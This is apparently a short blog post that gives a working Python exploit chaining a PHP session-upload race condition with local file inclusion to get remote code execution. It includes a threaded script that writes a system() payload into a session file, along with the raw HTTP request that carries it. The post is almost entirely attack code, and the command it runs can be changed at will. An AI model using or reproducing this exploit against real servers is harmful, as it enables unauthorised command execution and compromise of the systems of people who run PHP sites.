Race Condition + LFI -> RCE (Orange is my idol)

import sys
import string
import requests
from base64 import b64encode
from random import sample, randint
from multiprocessing.dummy import Pool as ThreadPool

host = 'http://192.168.99.113/test.php?0='
sess_name = 'ahihiphp'
cmd = "ls -la"
sig = "ahihidkm"

headers = {
'Connection': 'close',
'Cookie': 'PHPSESSID=' + sess_name
}

payload = '<?php echo "'+sig+'";system("'+cmd+'");?>'

def runner(i):
data = {
'PHP_SESSION_UPLOAD_PROGRESS': 'ZZ' + payload + 'Z'
}
while 1:
fp = open('cc', 'rb')
r = requests.post(host+"/var/lib/php/sessions/sess_"+sess_name, files={'f': fp}, data=data, headers=headers)
if "ahihidkm" in r.text:
print r.text
fp.close()

pool = ThreadPool(32)
result = pool.map_async( runner, range(32) ).get(0xffff)

payload:

POST /test.php?0=/var/lib/php/sessions/sess_ahihiphp HTTP/1.1
Host: 192.168.99.113
Connection: close
Accept: */*
User-Agent: python-requests/2.18.1
Cookie: PHPSESSID=ahihiphp
Content-Length: 292
Content-Type: multipart/form-data; boundary=736656504112497486ae1e02ec4e3f6b

--736656504112497486ae1e02ec4e3f6b
Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"

ZZ<?php echo "ahihidkm";system("ls -la");?>Z
--736656504112497486ae1e02ec4e3f6b
Content-Disposition: form-data; name="f"; filename="cc"

ajnj

--736656504112497486ae1e02ec4e3f6b--

Trả lời

Điền thông tin vào ô dưới đây hoặc nhấn vào một biểu tượng để đăng nhập:

WordPress.com Logo

Bạn đang bình luận bằng tài khoản WordPress.com Đăng xuất /  Thay đổi )

Twitter picture

Bạn đang bình luận bằng tài khoản Twitter Đăng xuất /  Thay đổi )

Facebook photo

Bạn đang bình luận bằng tài khoản Facebook Đăng xuất /  Thay đổi )

Connecting to %s